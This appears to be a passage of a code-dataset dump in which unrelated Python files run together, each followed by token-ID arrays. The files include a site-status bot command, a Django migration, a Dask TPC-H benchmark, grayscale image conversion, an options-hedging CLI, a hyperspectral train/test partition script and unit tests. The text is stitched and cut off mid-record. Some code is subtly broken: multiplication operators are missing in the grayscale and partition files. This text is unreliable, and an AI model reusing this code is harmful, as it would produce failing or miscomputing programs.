29892, 7135, 1125, 13, 1678, 9995, 275, 786, 29889, 1004, 4700, 4660, 1423, 261, 15945, 29908, 13, 1678, 3268, 353, 7135, 29889, 2972, 29898, 29906, 29897, 13, 1678, 565, 451, 3268, 29901, 13, 4706, 736, 9225, 29889, 3445, 368, 703, 5618, 3268, 437, 366, 864, 304, 1423, 29973, 1159, 13, 13, 1678, 565, 3268, 7503, 29953, 29962, 2804, 525, 1124, 597, 29915, 322, 3268, 7503, 29955, 29962, 2804, 525, 991, 597, 2396, 13, 4706, 565, 525, 597, 29915, 297, 3268, 29901, 13, 9651, 9608, 353, 3268, 29889, 5451, 877, 597, 29861, 29900, 29962, 718, 525, 597, 29915, 13, 9651, 736, 9225, 29889, 3445, 368, 703, 15870, 372, 1449, 1728, 278, 1273, 29879, 29908, 1273, 9608, 29897, 13, 4706, 1683, 29901, 13, 9651, 3268, 353, 525, 1124, 597, 29915, 718, 3268, 13, 13, 1678, 565, 451, 525, 6169, 297, 3268, 29901, 13, 4706, 3268, 4619, 11393, 510, 29908, 13, 13, 1678, 1018, 29901, 13, 4706, 2933, 353, 1856, 29889, 657, 29898, 2746, 29897, 13, 1678, 5174, 8960, 29901, 13, 4706, 9225, 29889, 20834, 29898, 2746, 718, 525, 3430, 1623, 515, 1244, 29889, 1495, 13, 4706, 736, 13, 13, 1678, 565, 2933, 29901, 13, 4706, 9225, 29889, 20834, 29898, 2746, 718, 525, 3430, 2691, 304, 592, 29889, 1495, 13, 1678, 1683, 29901, 13, 4706, 9225, 29889, 20834, 29898, 2746, 718, 525, 338, 1623, 515, 1244, 29889, 1495, 13, 2 ]
autoqm/pusher.py	KEHANG/autoQM	0	103899	# connect to registration table # search targets to push # 1. get all the jobs with "job_success" # 2. check if job files are indeed there # 3. get level of theory from job files # 4. check if results table has this job with # same level of theory # launch cantherm job, # push results to results table # main data: # Hf298, S298, Cp300, Cp400, Cp500 # Cp600, Cp800, Cp1000, Cp1500 # # meta data: # level of theory, # timestamp import os import time import shutil import autoqm.utils import autoqm.connector def select_push_target(registration_table, results_table, success_data_path): """ This method is to inform job pusher which targets to push, which need meet three requirements: 1. status is job_success 2. job files (.log and .inp) located as expected 3. results table doesn't have this job at that level of theory Returns a list of targets with necessary meta data """ reg_query = {"status":"job_success"} targets = list(registration_table.find(reg_query)) selected_targets = [] for target in targets: aug_inchi = str(target['aug_inchi']) spec_name = aug_inchi.replace('/', '_slash_') spec_path = os.path.join(success_data_path, spec_name) log_path = os.path.join(spec_path, 'input.log') inp_path = os.path.join(spec_path, 'input.inp') if os.path.exists(log_path) and os.path.exists(inp_path): level_of_theory = autoqm.utils.get_level_of_theory(inp_path) # query results table res_query = {"aug_inchi":aug_inchi, "level_of_theory":level_of_theory} res_entries = list(results_table.find(res_query)) if len(res_entries) == 0: # means no records of this target # in results table selected_targets.append(target) return selected_targets def push_jobs(registration_table, results_table, success_data_path): # select push targets targets = select_push_target(registration_table, results_table, success_data_path) for target in targets: aug_inchi = str(target['aug_inchi']) spec_name = aug_inchi.replace('/', '_slash_') spec_path = os.path.join(success_data_path, spec_name) inp_path = os.path.join(spec_path, 'input.inp') model_chemistry = autoqm.utils.get_level_of_theory(inp_path) smiles = str(target['SMILES_input']) # run cantherm thermo = autoqm.utils.run_cantherm(spec_path, model_chemistry, smiles) # push to results table Hf298 = thermo.H298.value_si/1000/4.184 # kcal/mol S298 = thermo.S298.value_si/4.184 # cal/mol/K Cp300 = thermo.Cpdata.value_si[0]/4.184 # cal/mol/K Cp400 = thermo.Cpdata.value_si[1]/4.184 # cal/mol/K Cp500 = thermo.Cpdata.value_si[2]/4.184 # cal/mol/K Cp600 = thermo.Cpdata.value_si[3]/4.184 # cal/mol/K Cp800 = thermo.Cpdata.value_si[4]/4.184 # cal/mol/K Cp1000 = thermo.Cpdata.value_si[5]/4.184 # cal/mol/K Cp1500 = thermo.Cpdata.value_si[6]/4.184 # cal/mol/K # check results table again there's no # same entry res_query = {"aug_inchi":aug_inchi, "level_of_theory":model_chemistry} res_entries = list(results_table.find(res_query)) if len(res_entries) > 0: continue # do the insertion insert_entry = {"aug_inchi" : aug_inchi, "Hf298(kcal/mol)" : Hf298, "S298(cal/mol/K)" : S298, "Cp300(cal/mol/K)" : Cp300, "Cp400(cal/mol/K)" : Cp400, "Cp500(cal/mol/K)" : Cp500, "Cp600(cal/mol/K)" : Cp600, "Cp800(cal/mol/K)" : Cp800, "Cp1000(cal/mol/K)" : Cp1000, "Cp1500(cal/mol/K)" : Cp1500, "timestamp" : time.time(), "SMILES_input" : smiles, "level_of_theory" : model_chemistry} results_table.insert_one(insert_entry) def run(): # get config info config = autoqm.utils.read_config() # connect to thermo central db auth_info = autoqm.utils.get_TCD_authentication_info() tcdi = autoqm.connector.ThermoCentralDatabaseInterface(*auth_info) tcd = getattr(tcdi.client, 'thermoCentralDB') # get registration table and result table # and specify success job data path pusher_reg_table = getattr(tcd, 'saturated_ringcore_table') pusher_res_table = getattr(tcd, 'saturated_ringcore_res_table') success_data_path = os.path.join(config['QuantumMechanicJob']['scratch_data_path'], 'success') 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djconnectwise/migrations/0114_auto_20200219_1515.py	kti-sam/django-connectwise	10	75979	<reponame>kti-sam/django-connectwise # Generated by Django 2.1.14 on 2020-02-19 15:15 from django.db import migrations, models import django.db.models.deletion import django_extensions.db.fields class Migration(migrations.Migration): dependencies = [ ('djconnectwise', '0113_auto_20200204_1054'), ] operations = [ migrations.CreateModel( name='ProjectType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', django_extensions.db.fields.CreationDateTimeField(auto_now_add=True, verbose_name='created')), ('modified', django_extensions.db.fields.ModificationDateTimeField(auto_now=True, verbose_name='modified')), ('name', models.CharField(max_length=30)), ('default_flag', models.BooleanField(default=False)), ('inactive_flag', models.BooleanField(default=False)), ], options={ 'verbose_name_plural': 'Project types', 'ordering': ('name',), }, ), migrations.AddField( model_name='project', name='type', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='djconnectwise.ProjectType'), ), ]	[ 1, 529, 276, 1112, 420, 29958, 1193, 29875, 29899, 13445, 29914, 14095, 29899, 6915, 3538, 13, 29937, 3251, 630, 491, 15337, 29871, 29906, 29889, 29896, 29889, 29896, 29946, 373, 29871, 29906, 29900, 29906, 29900, 29899, 29900, 29906, 29899, 29896, 29929, 29871, 29896, 29945, 29901, 29896, 29945, 13, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 29892, 4733, 13, 5215, 9557, 29889, 2585, 29889, 9794, 29889, 311, 1026, 291, 13, 5215, 9557, 29918, 24299, 29889, 2585, 29889, 9621, 13, 13, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 13, 13, 1678, 9962, 353, 518, 13, 4706, 6702, 19776, 6915, 3538, 742, 525, 29900, 29896, 29896, 29941, 29918, 6921, 29918, 29906, 29900, 29906, 29900, 29900, 29906, 29900, 29946, 29918, 29896, 29900, 29945, 29946, 5477, 13, 1678, 4514, 13, 13, 1678, 6931, 353, 518, 13, 4706, 9725, 800, 29889, 4391, 3195, 29898, 13, 9651, 1024, 2433, 7653, 1542, 742, 13, 9651, 4235, 11759, 13, 18884, 6702, 333, 742, 4733, 29889, 12300, 3073, 29898, 6921, 29918, 11600, 29922, 5574, 29892, 7601, 29918, 1989, 29922, 5574, 29892, 28755, 29922, 8824, 29892, 26952, 29918, 978, 2433, 1367, 1495, 511, 13, 18884, 6702, 11600, 742, 9557, 29918, 24299, 29889, 2585, 29889, 9621, 29889, 9832, 362, 11384, 3073, 29898, 6921, 29918, 3707, 29918, 1202, 29922, 5574, 29892, 26952, 29918, 978, 2433, 11600, 1495, 511, 13, 18884, 6702, 1545, 2164, 742, 9557, 29918, 24299, 29889, 2585, 29889, 9621, 29889, 2111, 2450, 11384, 3073, 29898, 6921, 29918, 3707, 29922, 5574, 29892, 26952, 29918, 978, 2433, 1545, 2164, 1495, 511, 13, 18884, 6702, 978, 742, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29941, 29900, 8243, 13, 18884, 6702, 4381, 29918, 15581, 742, 4733, 29889, 18146, 3073, 29898, 4381, 29922, 8824, 8243, 13, 18884, 6702, 262, 4925, 29918, 15581, 742, 4733, 29889, 18146, 3073, 29898, 4381, 29922, 8824, 8243, 13, 9651, 21251, 13, 9651, 3987, 3790, 13, 18884, 525, 369, 15828, 29918, 978, 29918, 572, 3631, 2396, 525, 7653, 4072, 742, 13, 18884, 525, 2098, 292, 2396, 6702, 978, 742, 511, 13, 9651, 2981, 13, 4706, 10353, 13, 4706, 9725, 800, 29889, 2528, 3073, 29898, 13, 9651, 1904, 29918, 978, 2433, 4836, 742, 13, 9651, 1024, 2433, 1853, 742, 13, 9651, 1746, 29922, 9794, 29889, 27755, 2558, 29898, 19465, 29922, 5574, 29892, 1870, 29922, 5574, 29892, 373, 29918, 8143, 29922, 14095, 29889, 2585, 29889, 9794, 29889, 311, 1026, 291, 29889, 10490, 29918, 10074, 29892, 304, 2433, 19776, 6915, 3538, 29889, 7653, 1542, 5477, 13, 4706, 10353, 13, 1678, 4514, 13, 2 ]
benchmark/test_tpch.py	serverless-analytics/dask-distributed-vanilla	0	11864	import time import sys import dask from dask.distributed import ( wait, futures_of, Client, ) from tpch import loaddata, queries #from benchmarks import utils # Paths or URLs to the TPC-H tables. #table_paths = { # 'CUSTOMER': 'hdfs://bu-23-115:9000/tpch/customer.tbl', # 'LINEITEM': 'hdfs://bu-23-115:9000/tpch/lineitem.tbl', # 'NATION': 'hdfs://bu-23-115:9000/tpch/nation.tbl', # 'ORDERS': 'hdfs://bu-23-115:9000/tpch/orders.tbl', # 'PART': 'hdfs://bu-23-115:9000/tpch/part.tbl', # 'PARTSUPP': 'hdfs://bu-23-115:9000/tpch/partsupp.tbl', # 'REGION': 'hdfs://bu-23-115:9000/tpch/region.tbl', # 'SUPPLIER': 'hdfs://bu-23-115:9000/tpch/supplier.tbl', #} table_paths = { 'CUSTOMER': '/root/2g/customer.tbl', 'LINEITEM': '/root/2g/lineitem.tbl', 'NATION': '/root/2g/nation.tbl', 'ORDERS': '/root/2g/orders.tbl', 'PART': '/root/2g/part.tbl', 'PARTSUPP': '/root/2g/partsupp.tbl', 'REGION': '/root/2g/region.tbl', 'SUPPLIER': '/root/2g/supplier.tbl', } #table_paths = { # 'CUSTOMER': 'https://gochaudhstorage001.blob.core.windows.net/tpch/customer.tbl', # 'LINEITEM': 'https://gochaudhstorage001.blob.core.windows.net/tpch/lineitem.tbl', # 'NATION': 'https://gochaudhstorage001.blob.core.windows.net/tpch/nation.tbl', # 'ORDERS': 'https://gochaudhstorage001.blob.core.windows.net/tpch/orders.tbl', # 'PART': 'https://gochaudhstorage001.blob.core.windows.net/tpch/part.tbl', # 'PARTSUPP': 'https://gochaudhstorage001.blob.core.windows.net/tpch/partsupp.tbl', # 'REGION': 'https://gochaudhstorage001.blob.core.windows.net/tpch/region.tbl', # 'SUPPLIER': 'https://gochaudhstorage001.blob.core.windows.net/tpch/supplier.tbl', #} def main(): if len(sys.argv) < 2: print("args: <dask client>") return 1 client = Client(sys.argv[1]) timing_supported = False # set to False if running against upstream dask without our code changes. benchmarker = TpchBenchmarkManager(client, timing_supported) benchmarker.load_tables( part_path = table_paths['PART'], supplier_path = table_paths['SUPPLIER'], partsupp_path = table_paths['PARTSUPP'], customer_path = table_paths['CUSTOMER'], orders_path = table_paths['ORDERS'], lineitem_path = table_paths['LINEITEM'], nation_path = table_paths['NATION'], region_path = table_paths['REGION'], ) # Choose what queries you want to run here. benchmarker.run_query(1) #benchmarker.run_query(3) #benchmarker.run_query(6) #benchmarker.run_query(21) class TpchBenchmarkManager: def __init__(self, client, timing_supported=True): self.client = client self.timing_supported = timing_supported self.tables = {} def load_tables(self, *, # Paths/URLs for TPCH tables source data. part_path=None, supplier_path=None, partsupp_path=None, customer_path=None, orders_path=None, lineitem_path=None, nation_path=None, region_path=None, ): paths = { 'PART': part_path, 'SUPPLIER': supplier_path, 'PARTSUPP': partsupp_path, 'CUSTOMER': customer_path, 'ORDERS': orders_path, 'LINEITEM': lineitem_path, 'NATION': nation_path, 'REGION': region_path, } for tablename, path in paths.items(): if path is None: print("\nNo path given for table {}. Skipping.".format(tablename)) continue print("\n====================================") print("Ingesting table {}... \n(from {})".format(tablename, path)) load_start = time.time() table = loaddata.loader[tablename](path) #table = self.client.persist(table) #wait(table) load_duration = time.time() - load_start self.tables[tablename] = table futures = futures_of(table) print("...complete.") print("\nE2E time: {:.3f} seconds. Number of partitions: {}".format( load_duration, len(futures))) print("====================================\n") if self.timing_supported: longest_future = None longest_future_duration = None for future in futures: duration = self.client.timing_info(future)[0]['duration'] if longest_future is None or duration > longest_future_duration: longest_future = future longest_future_duration = duration print("Profile of slowest partition:") #utils.prettyprint_timing_info(self.client.timing_info(longest_future)) def run_query(self, query_num): print("\n====================================") print("Executing query {}...".format(query_num)) query_start = time.time() futures = queries.by_number[query_num](self.tables) future = self.client.compute(futures) result = self.client.gather(future) query_duration = time.time() - query_start print("...complete.") print("\nE2E time: {:.3f} seconds.".format(query_duration)) if self.timing_supported: try: utils.prettyprint_timing_info(self.client.timing_info(future)) except Exception as e: print(str(e)) print(result) return future if __name__ == '__main__': main()	[ 1, 1053, 931, 13, 5215, 10876, 13, 5215, 270, 1278, 13, 13, 3166, 270, 1278, 29889, 5721, 7541, 1053, 313, 13, 1678, 4480, 29892, 13, 1678, 3105, 1973, 29918, 974, 29892, 13, 1678, 12477, 29892, 13, 29897, 13, 13, 3166, 260, 29886, 305, 1053, 658, 1202, 532, 29892, 9365, 13, 29937, 3166, 23513, 29879, 1053, 3667, 29879, 13, 13, 29937, 10802, 29879, 470, 24295, 304, 278, 323, 9026, 29899, 29950, 6131, 29889, 13, 29937, 2371, 29918, 24772, 353, 426, 13, 29937, 4706, 525, 29907, 17321, 6488, 1001, 2396, 525, 29882, 29069, 597, 2423, 29899, 29906, 29941, 29899, 29896, 29896, 29945, 29901, 29929, 29900, 29900, 29900, 29914, 9392, 305, 29914, 15539, 29889, 16400, 742, 13, 29937, 1678, 525, 18521, 9094, 29924, 2396, 525, 29882, 29069, 597, 2423, 29899, 29906, 29941, 29899, 29896, 29896, 29945, 29901, 29929, 29900, 29900, 29900, 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cirtorch/enhance/color/gray.py	Tarekbouamer/Image-Retrieval-for-Image-Based-Localization	3	185087	import torch import torch.nn as nn from .rgb import bgr_to_rgb def rgb_to_grayscale(image: torch.Tensor) -> torch.Tensor: """ Convert a RGB image to grayscale version of image. The image data is assumed to be in the range of (0, 1). """ if not isinstance(image, torch.Tensor): raise TypeError("Input type is not a torch.Tensor. Got {}".format( type(image))) if len(image.shape) < 3 or image.shape[-3] != 3: raise ValueError("Input size must have a shape of (, 3, H, W). Got {}" .format(image.shape)) r = image[..., 0:1, :, :] g = image[..., 1:2, :, :] b = image[..., 2:3, :, :] gray = 0.299 r + 0.587 * g + 0.114 * b return gray def bgr_to_grayscale(image: torch.Tensor) -> torch.Tensor: """ Convert a BGR image to grayscale. The image data is assumed to be in the range of (0, 1). First flips to RGB, then converts. """ if not isinstance(image, torch.Tensor): raise TypeError("Input type is not a torch.Tensor. Got {}".format( type(image))) if len(image.shape) < 3 or image.shape[-3] != 3: raise ValueError("Input size must have a shape of (*, 3, H, W). Got {}" .format(image.shape)) image_rgb = bgr_to_rgb(image) gray = rgb_to_grayscale(image_rgb) return gray	[ 1, 1053, 4842, 305, 13, 5215, 4842, 305, 29889, 15755, 408, 302, 29876, 13, 13, 3166, 869, 23973, 1053, 289, 629, 29918, 517, 29918, 23973, 13, 13, 13, 1753, 15552, 29890, 29918, 517, 29918, 21012, 7052, 29898, 3027, 29901, 4842, 305, 29889, 29911, 6073, 29897, 1599, 4842, 305, 29889, 29911, 6073, 29901, 13, 1678, 9995, 13, 4706, 14806, 263, 390, 7210, 1967, 304, 16749, 7052, 1873, 310, 1967, 29889, 13, 4706, 450, 1967, 848, 338, 12023, 304, 367, 297, 278, 3464, 310, 313, 29900, 29892, 29871, 29896, 467, 13, 1678, 9995, 13, 1678, 565, 451, 338, 8758, 29898, 3027, 29892, 4842, 305, 29889, 29911, 6073, 1125, 13, 4706, 12020, 20948, 703, 4290, 1134, 338, 451, 263, 4842, 305, 29889, 29911, 6073, 29889, 15992, 6571, 1642, 4830, 29898, 13, 9651, 1134, 29898, 3027, 4961, 13, 13, 1678, 565, 7431, 29898, 3027, 29889, 12181, 29897, 529, 29871, 29941, 470, 1967, 29889, 12181, 14352, 29941, 29962, 2804, 29871, 29941, 29901, 13, 4706, 12020, 7865, 2392, 703, 4290, 2159, 1818, 505, 263, 8267, 310, 3070, 29892, 29871, 29941, 29892, 379, 29892, 399, 467, 15992, 426, 5038, 13, 462, 308, 869, 4830, 29898, 3027, 29889, 12181, 876, 13, 13, 1678, 364, 353, 1967, 29961, 16361, 29871, 29900, 29901, 29896, 29892, 584, 29892, 584, 29962, 13, 1678, 330, 353, 1967, 29961, 16361, 29871, 29896, 29901, 29906, 29892, 584, 29892, 584, 29962, 13, 1678, 289, 353, 1967, 29961, 16361, 29871, 29906, 29901, 29941, 29892, 584, 29892, 584, 29962, 13, 13, 1678, 16749, 353, 29871, 29900, 29889, 29906, 29929, 29929, 334, 364, 718, 29871, 29900, 29889, 29945, 29947, 29955, 334, 330, 718, 29871, 29900, 29889, 29896, 29896, 29946, 334, 289, 13, 1678, 736, 16749, 13, 13, 13, 1753, 289, 629, 29918, 517, 29918, 21012, 7052, 29898, 3027, 29901, 4842, 305, 29889, 29911, 6073, 29897, 1599, 4842, 305, 29889, 29911, 6073, 29901, 13, 1678, 9995, 13, 4706, 14806, 263, 350, 14345, 1967, 304, 16749, 7052, 29889, 13, 4706, 450, 1967, 848, 338, 12023, 304, 367, 297, 278, 3464, 310, 313, 29900, 29892, 29871, 29896, 467, 3824, 285, 492, 567, 304, 390, 7210, 29892, 769, 29436, 29889, 13, 1678, 9995, 13, 1678, 565, 451, 338, 8758, 29898, 3027, 29892, 4842, 305, 29889, 29911, 6073, 1125, 13, 4706, 12020, 20948, 703, 4290, 1134, 338, 451, 263, 4842, 305, 29889, 29911, 6073, 29889, 15992, 6571, 1642, 4830, 29898, 13, 9651, 1134, 29898, 3027, 4961, 13, 13, 1678, 565, 7431, 29898, 3027, 29889, 12181, 29897, 529, 29871, 29941, 470, 1967, 29889, 12181, 14352, 29941, 29962, 2804, 29871, 29941, 29901, 13, 4706, 12020, 7865, 2392, 703, 4290, 2159, 1818, 505, 263, 8267, 310, 3070, 29892, 29871, 29941, 29892, 379, 29892, 399, 467, 15992, 426, 5038, 13, 462, 308, 869, 4830, 29898, 3027, 29889, 12181, 876, 13, 13, 1678, 1967, 29918, 23973, 353, 289, 629, 29918, 517, 29918, 23973, 29898, 3027, 29897, 13, 1678, 16749, 353, 15552, 29890, 29918, 517, 29918, 21012, 7052, 29898, 3027, 29918, 23973, 29897, 13, 1678, 736, 16749, 2 ]
main.py	timonent/hedging	0	175079	<filename>main.py import concurrent.futures import itertools as it import threading import click from hedger import Hedger from options_data import OptionsData #------------------------------------------------------------------------- @click.command(no_args_is_help=True) @click.option("--portfolio-size", "-p", multiple=True, type=click.IntRange(min=1, max=5), help="Size of the portfolio to be hedged.") @click.option("--schedule", "-s", multiple=True, type=click.IntRange(min=1, max=10), help="Hedging schedule to consider (in days).") @click.option("--hedge-type", "-h", multiple=True, type=click.Choice(["delta", "delta-vega"], case_sensitive=True)) def execute_cmdline(portfolio_size, schedule, hedge_type): """Evaluate delta and delta-vega hedging performance on portfolios of at-the-money call options on S&P 100 during the trading year of 2010.""" portfolio_size = sorted(set(portfolio_size)) schedule = sorted(set(schedule)) hedge_type = sorted(x.replace("-", "_") for x in set(hedge_type)) data = OptionsData() sheets = data.get_sheet_names() task_params = it.product(hedge_type, sheets, portfolio_size, schedule) results = [] print("Performing hedging in parallel...") with concurrent.futures.ProcessPoolExecutor() as executor: stats_futures = [executor.submit(getattr(Hedger, f"{hedge_type}_hedge"), data, params) for hedge_type, params in task_params] for stats in concurrent.futures.as_completed(stats_futures): results.append(stats.result()) for result in results: print(result) #------------------------------------------------------------------------- if __name__ == "__main__": execute_cmdline() #-------------------------------------------------------------------------	[ 1, 529, 9507, 29958, 3396, 29889, 2272, 13, 5215, 21984, 29889, 29888, 329, 1973, 13, 5215, 4256, 8504, 408, 372, 13, 5215, 3244, 292, 13, 5215, 2828, 13, 3166, 298, 287, 914, 1053, 28561, 914, 13, 3166, 3987, 29918, 1272, 1053, 25186, 1469, 13, 13, 29937, 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vector_partition.py	ilyakava/pyfst	3	62038	<reponame>ilyakava/pyfst<filename>vector_partition.py<gh_stars>1-10 """Test spatial depence of feature extraction methods Extracts quadrants of input images such that a certain percentage of training examples are present in those quadrants. The hope is to select training sets where training pixels and test pixels are not spatially interspersed. """ from collections import namedtuple import itertools import os import h5py import hdf5storage import numpy as np import scipy.io as sio import cvxpy as cvx import matplotlib.pyplot as plt import pdb DATASET_PATH = (os.environ['DATASET_PATH']) quadO = namedtuple('quadO', ['x', 'y', 'x_end', 'y_end', 'hist']) def get_quadrants(labels, n_x, n_y): pass def get_train_mask(quads, selection): train = np.zeros((height, width)) for i, q in enumerate(quads): if selection[i] == 1: train[q.y:q.y_end,q.x:q.x_end] = 1 return train # plt.imshow(train) # plt.show() def get_gt(name): mat_contents = sio.loadmat(os.path.join(DATASET_PATH, name)) if name == 'Indian_pines_gt.mat': return mat_contents['indian_pines_gt'] elif name == 'PaviaU_gt.mat': return mat_contents['paviaU_gt'] elif name == 'Salinas_gt.mat': return mat_contents['salinas_gt'] elif name == 'Botswana_gt.mat': return mat_contents['Botswana_gt'] elif name == 'Smith_gt.mat': return mat_contents['Smith_gt'] elif name == 'Pavia_center_right_gt.mat': return mat_contents['Pavia_center_right_gt'] else: error('No such dataset %s' % name) def quads_to_traintestfile(quads, selection, gt, name): train = np.zeros((height, width)) for i, q in enumerate(quads): if selection[i] == 1: train[q.y:q.y_end,q.x:q.x_end] = 1 train_mask = (gt != 0) * train train_mask = train_mask.transpose().reshape(heightwidth) test_mask = (gt != 0) (1-train) test_mask = test_mask.transpose().reshape(heightwidth) mat_outdata = {} mat_outdata[u'test_mask'] = test_mask mat_outdata[u'train_mask'] = train_mask hdf5storage.write(mat_outdata, filename=os.path.join(DATASET_PATH, name), matlab_compatible=True) def myhist(nlabels, lab_img): hist_arr = np.zeros(nlabels) for k in lab_img.flatten(): if k != 0: hist_arr[k-1] += 1 return hist_arr def make_staggered_quads(gt, rare_classes, q_sz, q_stagger=None): [height, width] = gt.shape nlabels = len(np.unique(gt)) - 1 if q_stagger is None: q_stagger = q_sz quads = [] for x1 in range(0,width-q_sz,q_stagger): for y1 in range(0,height-q_sz,q_stagger): x2 = x1 + q_sz y2 = y1 + q_sz gt_subregion = gt[y1:y2,x1:x2] subregion_hist = myhist(nlabels, gt_subregion) # if we are on a staggered block, and we don't include # any small amount labels, then skip it if (x1 % q_sz !=0 or y1 % q_sz !=0) and (np.max(rare_classes subregion_hist) < 2): next elif np.sum(subregion_hist) > 0: quads.append(quadO(x1, y1, x2, y2, subregion_hist)) return quads def quads_to_mats(nlabels, non_empty_quads): n_ne_quads = len(non_empty_quads) P = np.zeros((nlabels, n_ne_quads)) C = np.zeros((nlabels, n_ne_quads)) for i, q in enumerate(non_empty_quads): P[:, i] = q.hist / gt_hist C[:, i] = q.hist return [P, C] if __name__ == '__main__': gt = get_gt('PaviaU_gt.mat') [height, width] = gt.shape nlabels = len(np.unique(gt)) - 1 gt_hist = myhist(nlabels, gt) pdb.set_trace() non_empty_quads = make_staggered_quads(gt, (gt_hist < np.median(gt_hist)).astype(int), 16, 4) print('done making quads') n_ne_quads = len(non_empty_quads) [P, C] = quads_to_mats(nlabels, non_empty_quads) A = 100 * P # b = 10 # w = gt_hist.max() / gt_hist x = cvx.Variable(n_ne_quads, boolean=True) obj = cvx.Minimize(cvx.norm((A * x - 12),2)) prob = cvx.Problem(obj) prob.solve(solver=cvx.GLPK_MI) # this is the better than default solver for integer problems if x.value is None: print('no solution found') pdb.set_trace() else: selection = np.round(x.value).astype(int) myhist(nlabels ,(gt * get_train_mask(non_empty_quads, selection)).astype(int)) / gt_hist plt.imshow(get_train_mask(non_empty_quads, selection)) plt.show() # print what this binary mask image looks like # next pdb.set_trace() quads_to_traintestfile(non_empty_quads, selection, gt, 'PaviaU_gt_traintest_coarse_32px32p.mat')	[ 1, 529, 276, 1112, 420, 29958, 2354, 557, 879, 29914, 2272, 29888, 303, 29966, 9507, 29958, 8111, 29918, 16707, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 15945, 29908, 3057, 18652, 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tests/manifest/test_receiver.py	ebi-ait/ingest-exporter	0	62252	<gh_stars>0 import datetime import json from unittest import TestCase from mock import MagicMock from manifest.receiver import ManifestReceiver class TestReceiver(TestCase): def setUp(self): self.publish_config = { 'exchange': 'exchange', 'routing_key': 'routing_key', 'retry_policy': {} } self.create_message_body = '''{ "bundleUuid":"bundle-uuid", "versionTimestamp":"2018-03-26T14:27:53.360Z", "messageProtocol": null, "documentId": "5bbc8fc8109b8300069546cf", "documentUuid": "doc-uuid", "callbackLink": "/processes/5bbc8fc8109b8300069546cf", "documentType": "Process", "envelopeId": "submission-id", "envelopeUuid": "submission-uuid", "index": 1278, "total": 1733 }''' self.update_message_body = '''{ "bundleUuid": "bundle-uuid", "versionTimestamp": "2018-03-26T14:27:53.360Z", "callbackLinks": ["/link1", "/link1"], "envelopeId": "5c2dfb101603f500078b28de", "envelopeUuid": "4e474a77-1489-42ef-b0a7-6290c2cfce29", "index": 0, "total": 12, "messageProtocol": null }''' def test_create_manifest_receiver_on_message(self): mock_exporter = MagicMock() mock_exporter.export = MagicMock() # given create_receiver = ManifestReceiver(MagicMock(), MagicMock(), mock_exporter, self.publish_config) version_timestamp = datetime.datetime.strptime( "2018-03-26T14:27:53.360Z", "%Y-%m-%dT%H:%M:%S.%fZ") bundle_version = version_timestamp.strftime("%Y-%m-%dT%H%M%S.%fZ") message = MagicMock(name='message') message.ack = MagicMock() create_receiver.notify_state_tracker = MagicMock() # when create_receiver.on_message(self.create_message_body, message) # then mock_exporter.export.assert_called_with(submission_uuid='submission-uuid', process_uuid='doc-uuid') create_receiver.notify_state_tracker.assert_called_with(json.loads(self.create_message_body)) message.ack.assert_called_once() def test_create_manifest_receiver_on_message_exception(self): # given mock_exporter = MagicMock() mock_exporter.export = MagicMock() version_timestamp = datetime.datetime.strptime( "2018-03-26T14:27:53.360Z", "%Y-%m-%dT%H:%M:%S.%fZ") bundle_version = version_timestamp.strftime("%Y-%m-%dT%H%M%S.%fZ") message = MagicMock(name='message') message.ack = MagicMock() create_receiver = ManifestReceiver(MagicMock(), MagicMock(), mock_exporter, self.publish_config) create_receiver.notify_state_tracker = MagicMock() # when mock_exporter.export.side_effect = Exception('unhandled exception') create_receiver.on_message(self.create_message_body, message) # then mock_exporter.export.assert_called_with(submission_uuid='submission-uuid', process_uuid='doc-uuid') message.ack.assert_called_once() create_receiver.notify_state_tracker.assert_not_called()	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 12865, 13, 5215, 4390, 13, 13, 3166, 443, 27958, 1053, 4321, 8259, 13, 3166, 11187, 1053, 26494, 18680, 13, 3166, 10419, 29889, 13556, 2147, 1053, 2315, 7004, 22068, 13, 13, 13, 1990, 4321, 22068, 29898, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 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tests/test_airflownetworkdistributioncomponentcoil.py	marcelosalles/pyidf	19	99621	<gh_stars>10-100 import os import tempfile import unittest import logging from pyidf import ValidationLevel import pyidf from pyidf.idf import IDF from pyidf.natural_ventilation_and_duct_leakage import AirflowNetworkDistributionComponentCoil log = logging.getLogger(__name__) class TestAirflowNetworkDistributionComponentCoil(unittest.TestCase): def setUp(self): self.fd, self.path = tempfile.mkstemp() def tearDown(self): os.remove(self.path) def test_create_airflownetworkdistributioncomponentcoil(self): pyidf.validation_level = ValidationLevel.error obj = AirflowNetworkDistributionComponentCoil() # object-list var_coil_name = "object-list\|Coil Name" obj.coil_name = var_coil_name # alpha var_coil_object_type = "Coil:Cooling:DX:SingleSpeed" obj.coil_object_type = var_coil_object_type # real var_air_path_length = 0.0001 obj.air_path_length = var_air_path_length # real var_air_path_hydraulic_diameter = 0.0001 obj.air_path_hydraulic_diameter = var_air_path_hydraulic_diameter idf = IDF() idf.add(obj) idf.save(self.path, check=False) with open(self.path, mode='r') as f: for line in f: log.debug(line.strip()) idf2 = IDF(self.path) self.assertEqual(idf2.airflownetworkdistributioncomponentcoils[0].coil_name, var_coil_name) self.assertEqual(idf2.airflownetworkdistributioncomponentcoils[0].coil_object_type, var_coil_object_type) self.assertAlmostEqual(idf2.airflownetworkdistributioncomponentcoils[0].air_path_length, var_air_path_length) self.assertAlmostEqual(idf2.airflownetworkdistributioncomponentcoils[0].air_path_hydraulic_diameter, var_air_path_hydraulic_diameter)	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29899, 29896, 29900, 29900, 13, 5215, 2897, 13, 5215, 5694, 1445, 13, 5215, 443, 27958, 13, 5215, 12183, 13, 3166, 11451, 333, 29888, 1053, 15758, 362, 10108, 13, 5215, 11451, 333, 29888, 13, 3166, 11451, 333, 29888, 29889, 333, 29888, 1053, 3553, 29943, 13, 3166, 11451, 333, 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pycqed/measurement/sweep_points.py	nnlacroix/PycQED_py3	0	199200	<gh_stars>0 import logging log = logging.getLogger(__name__) from collections import OrderedDict from copy import deepcopy import numpy as np from numpy import array # Needed for eval. Do not remove. class SweepPoints(list): 